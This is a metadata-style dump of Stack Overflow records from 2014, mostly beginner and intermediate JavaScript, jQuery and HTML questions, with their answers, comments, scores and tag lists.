has comment: http://stackoverflow.com/comment/40261332
type: Question
has title: How to display a second JSON element in JavaScript?
has comment: http://stackoverflow.com/comment/40261075
answer count: 1
tagged with: javascript
has body: I'm trying to set up a newsletter which gets its contents from a JSON file with a number of articles consisting of a title and a text. Using JavaScript, I want the HTML page to display a list with all the titles. When a user clicks on one of the titles, the corresponding text should be displayed (and, ideally, when he or she clicks on another title, the former text should be hidden and only the new one should be visible - but it may all be in another iteration). The script lists the titles, but so far I've only been able to make them into HTML links sending the user to a non-existing page where I had hoped instead to show the texts in a div by means of innerHTML. I'm rather new to JavaScript (and ignorant about jQuery) so I'd be glad if somebody could tell me how to get the text elements from the JSON file and display them, one at a time. My JSON data: var article = [ { "title": "This is title no. 1", "text": "Here is the text of the first article" }, { "title": "This is title no. 2", "text": "Here is the text of the second article" }, { "title": "This is title no. 3", "text": "Here is the text of the third article" } ] My HTML:
has answer: http://stackoverflow.com/a/25755379
has comment: http://stackoverflow.com/comment/40261198

http://stackoverflow.com/q/25847627
favorite count: 0
has answer: http://stackoverflow.com/a/25847684
answer count: 1
type: UnansweredQuestion
upvote count: 1
tagged with: php
score: 1
has body: I have buttons and divs(hidden) that are created with php and they look like this: // while loop start echo "&lt;img id='epopedit$id' src='img/edit.png' /&gt;"; echo "&lt;div id='edialog$id' style='display:none'&gt; &lt;!-- some data --&gt; &lt;/div&gt;"; // while loop end How to open corresponding div(edialog) with img(epopedit)? This is code that I have but it opens all divs: $("[id^=epopedit]").on("click", function(){ $("[id^=edialog]").dialog(options).dialog("open"); });
type: Question
has title: Target proper id with jquery
downvote count: 0
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25722894
type: Answer
has comment: http://stackoverflow.com/comment/40217480
answers question: http://stackoverflow.com/q/25722680
has body: Yes it is! Have a look at the bezier section here http://en.m.wikipedia.org/wiki/De_Casteljau's_algorithm It is not that difficult all in all.
has comment: http://stackoverflow.com/comment/40214679
score: 0

http://stackoverflow.com/q/25845110
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25851468
accepted answer: http://stackoverflow.com/a/25851468
has comment: http://stackoverflow.com/comment/40437881
has comment: http://stackoverflow.com/comment/40440623
upvote count: 8
type: Question
tagged with: mithril.js
has title: Onclick event not running on first button click in Mithril
tagged with: javascript
answer count: 1
score: 8
favorite count: 0
has body: Why does the "click" callback not invoked the first time after some text is entered into the input like in this fiddle? var app = {}; app.controller = function(){ this.data = m.prop(""); this.click = function(){ alert("button clicked"); }; }; app.view = function(ctrl){ return m("html", [ m("body", [ m("div", [ m("p", ctrl.data()), m("input[type=text]", { onchange: m.withAttr("value", ctrl.data) }), m("button", { onclick: ctrl.click }, "Click") ]) ]) ]); }; m.module(document, app);

http://stackoverflow.com/comment/40652888
has text: refresh the page. that's one way
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25832142

http://stackoverflow.com/comment/40195407
comment on: http://stackoverflow.com/q/25713218
has text: That's not entirely true @FelixKling - a web page running from `file://` can read other files on the hard drive. I use one, it pulls in a local .txt file which jQuery then uses. Though I'm not sure that it would be able to read a directory index.
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/25868917
has answer: http://stackoverflow.com/a/25868943
has title: Email Form Validation - Ensuring it only has one '@' symbol
has answer: http://stackoverflow.com/a/25869016
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40480841
possible better answer: http://stackoverflow.com/a/25868943
has answer: http://stackoverflow.com/a/25868971
score: 0
accepted answer: http://stackoverflow.com/a/25868971
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40480587
linked to: http://stackoverflow.com/q/46155
has body: I am trying to validate a form to ensure that the entered email address value is in the correct format. I have everything working except checking that it only contains one '@' symbol. This is my code so far var x = document.forms["registration"]["email"].value; var atpos = x.indexOf("@"); var dotpos = x.lastIndexOf("."); if (atpos&lt; 1 || dotpos&lt;atpos+2 || dotpos+2&gt;=x.length) { alert("Not a valid e-mail address"); return false;
has comment: http://stackoverflow.com/comment/40480627
type: Question
tagged with: validation
tagged with: javascript
linked to: http://stackoverflow.com/q/201323
answer count: 3

http://stackoverflow.com/comment/40398051
type: Comment
comment on: http://stackoverflow.com/a/25823272
score: 0
type: AnswerComment
has text: You need a place where to store the saved parts. Using a separate canvas for each part is IMO the best approach. If you're implementing UNDO/REDO the command pattern is better, but that's another story...

http://stackoverflow.com/q/25729749
has title: Javascript - loops
favorite count: 0
has comment: http://stackoverflow.com/comment/40226193
has body: I wonder if someone would be kind enough to demonstrate the use of loop and other functions in "javascript" by answering this question: there is a nationwide math quiz; minimum 67, maximum 670 people have earned the right to attend. Each contestant is given an entry number to the hall where the quiz takes place (first to enter the hall gets 1, second 2 and so on). the winner was asked his entry # to the hall after the announcements. his response: the sum of the people before me and the sum of the people after me are equal; that's how you can find my entry #. I hope I was able to word it properly. I remember having tackled this question around early 1970's without success on my part but then asked my brothers engineering student friends; they all attacked it with enthusiasm only to give up in disgust after a couple of hours (with one Texas Instruments red light calculator with buttons that used to stick!). I have found the answer in later years but without the help of programming. The formula (n*(n+1))/2 obviously helps quite a bit when summing. Thank you for your time. Andrew
accepted answer: http://stackoverflow.com/a/25730016
has comment: http://stackoverflow.com/comment/40226361
downvote count: 8
has comment: http://stackoverflow.com/comment/40226118
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25730016
tagged with: nested-loops
tagged with: javascript
score: -8
upvote count: 0
answer count: 1

http://stackoverflow.com/q/25847390
has comment: http://stackoverflow.com/comment/40932842
has answer: http://stackoverflow.com/a/26100097
tagged with: javascript
has answer: http://stackoverflow.com/a/26118654
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40933248
has title: Messy mouse events in chrome
favorite count: 0
has body: In IE or Firefox the site works like this (IE11): (Tabs are clickable) but not in chrome. Click on tabs not get fired. I tried to reveal element in Developer Tools, but it reveals #container element instead of the lielement I clicked on. It looks like the layering of the elements are not the same as you see it and when you raise an event (ex.: click). The first/parent div is the top element and the tabs (li) are nested behind. Why is it working in IE and Firefox, and why does not in Chrome? What is the differecnce? $('button').click(function() { $('.box').toggleClass('flipped'); }) $('li').click(function() { var text = 'You selected ' + $(this).html(); alert(text); }); * { margin: 0; padding: 0 } button { position: fixed; right: 5px; bottom: 5px; } .box { position: relative; width: 300px; height: 300px; transform-origin: right center; transition-timing-function: cubic-bezier(1.000, 0.000, 0.000, 1.000); transition: all 300ms, transform 500ms ease; } .box figure { position: absolute; width: 100%; height: 100%; transition: visibility 0s ease 140ms; } .box:not(.flipped) figure.back { visibility: hidden; } .box.flipped { transform: translateX(-100%) rotateY(-180deg); } .box .front { background-color: skyblue; } .box .back { transform: rotateY(180deg); background-color: lightgreen; } .box .back .nav { position: absolute; top: 0; left: 0; right: 0; height: 32px; width: 100%; background-color: skyblue; text-align: center; } .box .back .nav li { background-color: white; width: 24%; display: inline-block; height: 30px; line-height: 30px; } FRONT SIDE Menu 1 Menu 2 Menu 3 Menu 4 BACK SIDE FLIP Thanks in advance for any help!
has comment: http://stackoverflow.com/comment/40466059
accepted answer: http://stackoverflow.com/a/26118654
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40475931
type: AnsweredQuestion
upvote count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/40475349
has comment: http://stackoverflow.com/comment/40900862
tagged with: google-chrome
type: Question
possible better answer: http://stackoverflow.com/a/26100097

http://stackoverflow.com/q/25755019
tagged with: css
type: AnsweredQuestion
has title: re stylign anchor tag to remove jerky scroll
type: Question
has body: I have a html page with a form and a anchor tag at the end of the page that scroll when clicked scrolls back to the top of the page with a smooth scroll implemented using javascript. The problem I am facing is that the scroll is jerky. There is a slight jerk before it proceeds to scroll. This doesn't happen in jsfiddle though. I am not sure if it is because of the anchor tag or JS. Is there a way I can fix it by changing/styling anchor tag to regular text. I believe the problem is something to do with the anchor tag. I am not sure though. Thanks alert("Scroll triggered"); $('a[href="#register"]').click(function(){ $('html,body').animate({scrollTop: '0'}, 1000); $('input#Name_First').focus(); }); JSFiddle: http://jsfiddle.net/BrianDillingham/co1ot6ru/7/
has answer: http://stackoverflow.com/a/25755125
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25755125
score: 0
answer count: 1
tagged with: http://stackoverflow.com/tag/html

angular-ui-bootstrap
tags question: http://stackoverflow.com/q/25723439
tags question: http://stackoverflow.com/q/25759684
type: Tag
tags question: http://stackoverflow.com/q/25872280
tags question: http://stackoverflow.com/q/25789458
tags question: http://stackoverflow.com/q/25839362
tags question: http://stackoverflow.com/q/25769821
tags question: http://stackoverflow.com/q/25800171
tag name: angular-ui-bootstrap

http://stackoverflow.com/q/25857893
score: 1
tagged with: meteor
has answer: http://stackoverflow.com/a/25860839
accepted answer: http://stackoverflow.com/a/25924618
favorite count: 0
has title: jasny-bootstrap navbar in a meteor app not working
tagged with: twitter-bootstrap
possible better answer: http://stackoverflow.com/a/25860839
upvote count: 1
tagged with: jasny-bootstrap
type: AnsweredQuestion
has body: I'm using Meteor 0.9.1.1 and I've added the nemo64:bootstrap and mrt:bootstrap-jasny packages. I'm trying to get offcanvas nav menu to work with it, but my button seems like it's hidden or not being rendered (I'm not sure which). The Meteor bootstrap package came with a custom.json file that allows me to toggle which modules are loaded... maybe I'm missing one, but I don't know. This is the menu http://jasny.github.io/bootstrap/components/#navmenu-offcanvas and here is my code: Celery seakale Dulse daikon Zucchini garlic Catsear azuki bean Dandelion bunya Rutabaga {"modules": { "normalize": true, "print": false, "scaffolding": false, "type": true, "code": false, "grid": true, "tables": false, "forms": true, "buttons": true, "glyphicons": true, "button-groups": false, "input-groups": false, "navs": true, "navbar": true, "breadcrumbs": false, "pagination": false, "pager": false, "labels": false, "badges": false, "jumbotron": false, "thumbnails": false, "alerts": false, "progress-bars": false, "media": false, "list-group": false, "panels": false, "wells": false, "close": false, "component-animations": true, "dropdowns": true, "modals": false, "tooltip": false, "popovers": false, "carousel": false, "affix": true, "alert": false, "button": true, "collapse": true, "scrollspy": true, "tab": false, "transition": true, "utilities": true, "responsive-utilities": true }} I added this in the navmenu.js file and now the menu slides in when the page is loaded, but I still have no button and can't actually "work" the menu. Template.navmenu.rendered = function() { $('.navmenu').offcanvas() }
tagged with: navbar
type: Question
has answer: http://stackoverflow.com/a/25924618
answer count: 2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40466198
downvote count: 0

http://stackoverflow.com/q/25860407
score: 2
upvote count: 2
type: UnansweredQuestion
tagged with: web-scraping
has answer: http://stackoverflow.com/a/27555745
tagged with: pyqt4
tagged with: javascript
has title: executing the script of a webpage with Python
type: Question
answer count: 1
downvote count: 0
favorite count: 0
tagged with: windows
tagged with: python
has body: I am trying to scrape a page that is filled with javascript. The url is: http://www.nasdaqomxnordic.com/index/index_info?Instrument=DK0016268840 I have used the following code to get the data. Apparently this code should handle the javascript and return a complete html file but it does not. There might be an issue of timing and if so, I am not quite clear as to where you delay the proram to allow for a full html. import sys from PyQt4.QtGui import * from PyQt4.QtCore import * from PyQt4.QtWebKit import * class Render(QWebPage): def __init__(self, url): self.app = QApplication(sys.argv) QWebPage.__init__(self) self.loadFinished.connect(self._loadFinished) self.mainFrame().load(QUrl(url)) self.app.exec_() def _loadFinished(self, result): self.frame = self.mainFrame() self.app.quit() def getHtml(str_url): r_html = Render(str_url) html = r_html.frame.toHtml() return html str_url = 'http://www.nasdaqomxnordic.com/index/index_info?Instrument=DK0016268840' str_html = getHtml(str_url) print(str_html) This gives me the html that you would get if you ask for page source from a web browser. Of course there are more stuff on the page as all the tables are filled with javascript functions. Using Firebug, the id of the table I am looking for is "sharesInIndexTable. The items I really would like to scrape are the links under the name of each company - but having access to the whole table to parse with beautifulsoup would be even nicer. From this table, one should be able to find the word "Carlsberg" (as a potential test to see if the AJAX is fully loaded). Then I tried to figure out something to parse the DOM and I tried this: import sys from PyQt4 import QtGui, QtCore, QtWebKit class Sp(): def printit(self): data = self.webView.page().mainFrame().findFirstElement('id="sharesInIndexTable"') print(data) def main(self): self.webView = QtWebKit.QWebView() self.webView.load(QtCore.QUrl("http://www.nasdaqomxnordic.com/index/index_info?Instrument=DK0016268840")) QtCore.QObject.connect(s…

http://stackoverflow.com/comment/40462126
comment on: http://stackoverflow.com/a/25855986
type: AnswerComment
score: 0
type: Comment
has text: @Stephen: he can't ([yet](http://stackoverflow.com/help/privileges/vote-up)) up-vote, but acceptance is possible *if he wants to* and if this answer *fully solved the problem*. It's neither compulsory, nor obligatory to accept an answer.

http://stackoverflow.com/q/25822474
favorite count: 0
has answer: http://stackoverflow.com/a/25823073
tagged with: django
type: AnsweredQuestion
downvote count: 1
type: Question
score: 3
tagged with: javascript
has title: Including static js files in django 1.7
has body: Here is part of settings.py: STATIC_URL = '/static/' STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'static'), ) HTML template: {% load staticfiles %} ... HelpDesk System ... Static folder tree: Result: Css file loads as expected, but js does't and error occurs: Can't find variable: $
upvote count: 4
accepted answer: http://stackoverflow.com/a/25823073
has comment: http://stackoverflow.com/comment/40396397
tagged with: zurb-foundation
answer count: 1

http://stackoverflow.com/q/25719759
favorite count: 0
has comment: http://stackoverflow.com/comment/40207629
linked to: http://stackoverflow.com/q/21066167
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/21066167
downvote count: 1
has answer: http://stackoverflow.com/a/25719835
has comment: http://stackoverflow.com/comment/40209839
type: Question
tagged with: google-maps
upvote count: 0
tagged with: javascript
score: -1
has title: Googlemaps API: problems getting property k
has body: In win form project i use WebBrowser control. I assign DocumentText property to html file. in file i have link to Google Maps API's like this: &lt;script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?key=****&amp;sensor=false" /&gt;. All works good . But after any time i got error: Line: 99 Error: Unable to get property 'k' of undefined or null reference. In my javascript code i don't use property 'k'. please help, what's the problem,I can't fix problem. In javascript code i use Google API's features.
answer count: 1

http://stackoverflow.com/q/25815283
has comment: http://stackoverflow.com/comment/40383484
has title: how do you create ease in reduction in value in javascript
upvote count: 0
answer count: 1
favorite count: 0
has body: This more of a math question than programming, but still applicable as i want it to be done javascript. I am animating stuff and for i need to create reduction that goes from full value to zero per frame. But it should decrease slowly at first and then increase up the decreasing amount as value gets shorter. And vice versa for ease out. linear goes something like this: speed -= linear; others i don't know and i don't how to classify this one either: speed *= .8; i guess i am asking for curve that goes from 1 to 0 in square curve fashion but flipped
has answer: http://stackoverflow.com/a/25815672
accepted answer: http://stackoverflow.com/a/25815672
type: AnsweredQuestion
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40383695
tagged with: javascript
score: -1

http://stackoverflow.com/comment/40467439
type: Comment
comment on: http://stackoverflow.com/a/25861031
score: 0
type: AnswerComment
has text: @Exception - Shouldnt the prepended consist of the common elements, or what should it contain?

http://stackoverflow.com/q/25727424
favorite count: 0
has body: I need to be able to Debug JS code run by Nashorn i.e: ScriptEngineManager sem = new ScriptEngineManager(); ScriptEngine engine = sem.getEngineByName("nashorn"); engine.eval("load (\"src/com/sap/rdl/runjs/file.js\");"); Now I need to add a breakpoint in the JS file and be able to step through the lines programmatically (implement a debugger). I know intelliJ and NetBeans implemented this so it should be possible, yet I cannot find any API in Nashorn that allows stepping and/or mapping of lines or variables. Any advice/links would be most welcome. Thanks in advance.
type: UnansweredQuestion
score: 5
has comment: http://stackoverflow.com/comment/40339788
has comment: http://stackoverflow.com/comment/58860119
has comment: http://stackoverflow.com/comment/53809644
has title: How to debug JavaScript program using Nashorn?
type: Question
tagged with: nashorn
tagged with: debugging
upvote count: 5
tagged with: javascript
has answer: http://stackoverflow.com/a/25750627
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/40438667
type: AnswerComment
comment on: http://stackoverflow.com/a/25796104
has text: @KyleMorse thanks kyle, but I am not able to find that loop abt which u r talking about..I want to copy feature, MMF thats why. Yes I can create new record too..I tried that one too..but FormattedID is not getting generated for new record. see the below question by me (http://stackoverflow.com/questions/25845532/formattedid-is-not-getting-generated-for-new-feature-record)
score: 0
type: Comment

http://stackoverflow.com/q/25742375
answer count: 1
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has title: Getting the content of each file in multiple file input using jquery
accepted answer: http://stackoverflow.com/a/25742755
score: 0
type: Question
has body: I need to fetch the content of each file in multiple file input using jquery and based on the file content i need to do some modifications in my page. Here is the code I have written to do the same. Here what is happening is If I select 3 files I am getting the content of 3rd file alone. If I use the index number instead of looping I am able to get the contents But If I use looping I am getting the last files content alone. Could someone explain me whats wrong with it ? &lt;input type="file" name="xsd" id="xsd" multiple="multiple"&gt; $('#xsd').change(function(){ input = document.getElementById('xsd'); for(var i = 0; i &lt; input.files.length ; i++) { file = input.files[i]; fr = new FileReader(); fr.readAsText(file); fr.onload = function(e) { var filecontent = fr.result; // My logic here } } });
tagged with: jquery-ui
tagged with: javascript
has answer: http://stackoverflow.com/a/25742755

http://stackoverflow.com/comment/40436074
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25801588
has text: What are you using then if you are not using Webcam.js?

jquery
tags question: http://stackoverflow.com/q/25740022
tags question: http://stackoverflow.com/q/25802230
tags question: http://stackoverflow.com/q/25859654
tags question: http://stackoverflow.com/q/25823082
tags question: http://stackoverflow.com/q/25714679
tags question: http://stackoverflow.com/q/25724184
tags question: http://stackoverflow.com/q/25828947
tags question: http://stackoverflow.com/q/25745159
tags question: http://stackoverflow.com/q/25865968
tags question: http://stackoverflow.com/q/25739718
tags question: http://stackoverflow.com/q/25748171
tags question: http://stackoverflow.com/q/25739120
tags question: http://stackoverflow.com/q/25763521
tags question: http://stackoverflow.com/q/25729808
tags question: http://stackoverflow.com/q/25727883
tags question: http://stackoverflow.com/q/25850037
tags question: http://stackoverflow.com/q/25847222
tags question: http://stackoverflow.com/q/25790501
tags question: http://stackoverflow.com/q/25816087
tags question: http://stackoverflow.com/q/25808593
tags question: http://stackoverflow.com/q/25839290
tags question: http://stackoverflow.com/q/25725776
tags question: http://stackoverflow.com/q/25834099
tags question: http://stackoverflow.com/q/25726091
tags question: http://stackoverflow.com/q/25831900
tags question: http://stackoverflow.com/q/25726709
tags question: http://stackoverflow.com/q/25715211
tags question: http://stackoverflow.com/q/25754820
tags question: http://stackoverflow.com/q/25819113
tags question: http://stackoverflow.com/q/25778388
tags question: http://stackoverflow.com/q/25831276
tags question: http://stackoverflow.com/q/25733391
tags question: http://stackoverflow.com/q/25765576
tags question: http://stackoverflow.com/q/25755332
tags question: http://stackoverflow.com/q/25793447
tags question: http://stackoverflow.com/q/25741075
tags question: http://stackoverflow.com/q/25752349
tags question: http://stackoverflow.com/q/25795934
tags question: http://stackoverflow.com/q/25782761
tags question: http://stackoverflow.com/q/25853958
tags question: http://stackoverflow.com/q/25772558
tags question: http://stackoverflow.com/q/25818237
tags question: http://stackoverflow.com/q/25782248
tags question: http://stackoverflow.com/q/25820910
tags question: http://stackoverflow.com/q/25716353
tags question: http://stackoverflow.com/q/25819072
tags question: http://stackoverflow.com/q/25753153
tags question: http://stackoverflow.com/q/25815374
tags question: http://stackoverflow.com/q/25727206
tags question: http://stackoverflow.com/q/25756381
tags question: http://stackoverflow.com/q/25849264
tags question: http://stackoverflow.com/q/25774592
tags question: http://stackoverflow.com/q/25792794
tags question: http://stackoverflow.com/q/25857677
tags question: http://stackoverflow.com/q/25846426
tags question: http://stackoverflow.com/q/25830537
tags question: http://stackoverflow.com/q/25846487
tags question: http://stackoverflow.com/q/25828205
tags question: http://stackoverflow.com/q/25843685
tags question: http://stackoverflow.com/q/25840330
tags question: http://stackoverflow.com/q/25813260
tags question: http://stackoverflow.com/q/25824044
tags question: http://stackoverflow.com/q/25773167
tags question: http://stackoverflow.com/q/25751583
tags question: http://stackoverflow.com/q/25858319
tags question: http://stackoverflow.com/q/25788890
tags question: http://stackoverflow.com/q/25769272
tags question: http://stackoverflow.com/q/25746354
tags question: http://stackoverflow.com/q/25769776
tags question: http://stackoverflow.com/q/25728715
tags question: http://stackoverflow.com/q/25867906
tags question: http://stackoverflow.com/q/25738826
tags question: http://stackoverflow.com/q/25849361
tags question: http://stackoverflow.com/q/25759660
tags question: http://stackoverflow.com/q/25872406
tags question: http://stackoverflow.com/q/25731803
tags question: http://stackoverflow.com/q/25804236
tags question: http://stackoverflow.com/q/25796300
tags question: http://stackoverflow.com/q/25810491
tags question: http://stackoverflow.com/q/25752223

http://stackoverflow.com/comment/40482012
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25869549
has text: Font faces need different declarations for different browsers. See http://stackoverflow.com/questions/4051826/font-face-with-wrong-mime-type-in-chrome
type: QuestionComment

http://stackoverflow.com/comment/40412610
has text: ;) wow.. you've surprised me. Nicely! ;) Really good decision. This way, you will gain more for sure. Firstly you will solve current issue - lately simplified maintenance, easier extending, more common features (shared run time caching among all views)... good luck, sir. Good decision, I'd say
type: Comment
comment on: http://stackoverflow.com/q/25830823
type: QuestionComment
score: 1

http://stackoverflow.com/q/25755358
answer count: 2
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25755440
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has body: I have a block of list element which I need to add when "Add" button is clicked. HTML: User name sss updated this. SOME TEXT HERE jQuery: $(".delete").click(function(){ $(this).closest("li").slideUp(); }); $("#addPost").click(function(){ var inData = ' User name sss updated this. '; $("#midContent ul").append(inData+'Sarthak '); }); This block has a delete button and a jQuery function attached to it. If the block already exist on the page, its working fine. But, when I add this block using jQuery append, the block is rendered rightly, but delete functionality does not work on newly added block. Where I am going wrong? Also, what will be the better way to add this block than hardcoding in JS code? (just by referring the element already on page by using id or class)
type: Question
has answer: http://stackoverflow.com/a/25755440
has title: Retain jQuery functionality when buttons are added on the go
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25755390
has answer: http://stackoverflow.com/a/25755390
score: 0

http://stackoverflow.com/comment/40482624
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25869729
type: AnswerComment
has text: This did not work: ` `

http://stackoverflow.com/a/25817741
has body: It will be helpful for you https://stackoverflow.com/a/17227264/2594499 Your test isn't clear. Avoid using "expect" in conditions, callbacks and things like this. If your condition won't be true, you've got test without assertion. It'll be better to use second parameter of function: .toHaveBeenCalledwith('someEvent', someObj);
answers question: http://stackoverflow.com/q/25817534
has comment: http://stackoverflow.com/comment/40388306
upvote count: 1
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/comment/40450563
comment on: http://stackoverflow.com/q/25817832
type: QuestionComment
has text: When I say I package my app into an apk, I mean that I put it onto a 3rd party enterprise app store, which then gets signed by the proper p12 file and is available for download on my android device. I would also like to add that I am able to make an XMLHttpRequest to Google. My app requires to be connected to our work network, and I believe the application/cordova is not picking up that I am connected to the correct network, even though my wifi says it is, so that is why my POSTS get stuck on pending. Do you how I would go about this?
score: 0
type: Comment

http://stackoverflow.com/comment/40325054
comment on: http://stackoverflow.com/q/25782193
has text: Besides, the code you show references some variables that you are not telling us anything about (parallelUploads, queuedFiles)
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25822336
has body: For the record, this scenario can be implemented in one single page. Say you have three pages, you want page1.html to redirect on click Page 1 This is page 1. to page2.html Page 2 This is page 2. and then have page2.html redirect to page3.html, after some time Page 3 This is page 3. All you need to do is get the source of page 2, inject some javascript into it and then load the source into the browser; this means page 2 does not need to be aware of the redirect behaviour. Thus, page 1 would become something like: Page 1 This is page 1. I am not saying that this is a good idea or the right solution for the problem you are actually trying to solve, but it does answer your question.
answers question: http://stackoverflow.com/q/25821784
score: 0
type: Answer

http://stackoverflow.com/comment/40424044
type: AnswerComment
type: Comment
has text: The function I am referring to is `return tag.hasAttribute ? tag.hasAttribute(attrName) : tag[attrName] !== undefined;`. I would also use IE7's debugging tools to inspect the element and verify that the attribute is not present in the DOM. Something else could be possibly creating this attribute in the background.
score: 0
comment on: http://stackoverflow.com/a/25837484

http://stackoverflow.com/comment/40478801
has text: Show css how `li.has-sub`, `a` and `span` are styled.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25866215

http://stackoverflow.com/q/25728297
has comment: http://stackoverflow.com/comment/40223316
has title: How to stop .click function being fired many times if user clicks many times
type: Question
has body: How to stop .click() function being fired many times if user clicks many times. Here is my code $("#loadme").unbind('click').click(function() { hello(); }); If the user clicks on #loadme many times the function will repeat again and again. I want it to stop firing it many times.
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25728329
has answer: http://stackoverflow.com/a/25728355
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40223341
has answer: http://stackoverflow.com/a/25728342

http://stackoverflow.com/comment/40296076
score: 0
has text: possible duplicate of [How to listen for Ctrl-P key press in JavaScript?](http://stackoverflow.com/questions/12517819/how-to-listen-for-ctrl-p-key-press-in-javascript)
comment on: http://stackoverflow.com/q/25767748
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40316967
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25778941
has text: if you see the fiddle in the answer, you can it with adding the `required` attribute

http://stackoverflow.com/q/25775157
has title: Error: TypeError: Object has no method 'set'
has answer: http://stackoverflow.com/a/25942178
tagged with: ios
tagged with: javascript
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25942178
tagged with: parse-platform
has comment: http://stackoverflow.com/comment/40343243
type: Question
has body: I am using a cloud code function for my iOS app. I am calling the cloud function with this code... var moment = require("moment"); Parse.Cloud.define("registerActivity", function(request, response) { var user = request.user; user.set("lastActive", new Date()); user.save().then(function (user) { response.success(); }, function (error) { console.log(error); response.error(error); }); }); and from iOS I call it like this... [PFCloud callFunction:@"registerActivity" withParameters:@{}]; Why do I get this error? Error: TypeError: Object has no method 'set'
has comment: http://stackoverflow.com/comment/40310273
answer count: 1
score: 0

http://stackoverflow.com/a/25786662
has body: The answers made clear that the right order for setting the date is: setFullYear() setMonth() setDate() I just want to point out that it´s also important to set the year at first, because of the 29. february in leapyears.
downvote count: 2
has comment: http://stackoverflow.com/comment/40349341
has comment: http://stackoverflow.com/comment/40347177
type: Answer
answers question: http://stackoverflow.com/q/25741647
upvote count: 0
score: -2

http://stackoverflow.com/q/25748050
score: 0
has comment: http://stackoverflow.com/comment/40261823
has comment: http://stackoverflow.com/comment/40261774
answer count: 0
type: UnansweredQuestion
tagged with: iframe
has body: I want to scroll to the top of the parent page once a form in an iframe has submitted. I've tried many different ways to do this including adding onload to the iframe tag itself and with jQuery/JS, none have worked so far, now I'm trying: &lt;script type="text/javascript"&gt; &lt;!-- BEGIN HIDING window.onload = pageScroll; function pageScroll() { window.scrollTo(0, top); scrolldelay = setTimeout('pageScroll()', 200); } // DONE HIDING--&gt; &lt;/script&gt; Test page is here: http://www.moneycorp.com/uk/personal/General-Enquiry2/ Any ideas why this doesn't work? Thanks.
has title: iframe scroll to top onsubmit
has comment: http://stackoverflow.com/comment/40261406
type: Question
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/78773200
type: QuestionComment
comment on: http://stackoverflow.com/q/25808803
score: 0
type: Comment
has text: Possible duplicate of [Change an element's class with JavaScript](https://stackoverflow.com/questions/195951/change-an-elements-class-with-javascript)

http://stackoverflow.com/q/25757605
tagged with: javascript
type: UnansweredQuestion
has title: Select2 support for quick option filtering via a search box
score: -1
favorite count: 0
has answer: http://stackoverflow.com/a/25757901
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/40278951
tagged with: java
downvote count: 1
has body: This is my code but iam not able to get the required select2 with support for quick option filtering via a search box. $(document).ready(function(){ alert( 'You are running jQuery version: ' + $.fn.jquery ); alert("ready"); $("#e1").select2(); }); select Alabama Germany Poland Wyoming plz help and let me know where iam doing the mistake
has comment: http://stackoverflow.com/comment/40278003
upvote count: 0

http://stackoverflow.com/comment/40289035
has text: Is there another solution more clean?
comment on: http://stackoverflow.com/a/25763918
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/a/25854144
score: 2
upvote count: 2
has body: The following update will get you further: http://jsfiddle.net/ov4oa3dw/15/ You will need additional code to capture the items that are not followed by an h4. $(document).ready(function(){ var alphabet = ['', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] //Function names all questions function nameQuestions(){ //since you need the index number of each h4, you can save them to an array var questions = $("h4"); for(var cQuestion=0; cQuestion&lt;questions.length; cQuestion++){ var currentQuestion = questions[cQuestion]; var cSubQuestions = 1; //your while(true) is not needed since each() will iterate over the set $(currentQuestion).nextUntil('h4').each(function(){ $(this).children('span').text('Question ' + cQuestion + alphabet[cSubQuestions]); cSubQuestions+=1; }); } } nameQuestions(); });
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25853868

http://stackoverflow.com/comment/40239887
type: QuestionComment
type: Comment
has text: Nothing is happenening. It's not replacing the word(at least that I can see) or appending the new element.
comment on: http://stackoverflow.com/q/25736733
score: 0

http://stackoverflow.com/a/25823192
has comment: http://stackoverflow.com/comment/40397961
has comment: http://stackoverflow.com/comment/40398166
score: 0
answers question: http://stackoverflow.com/q/25822671
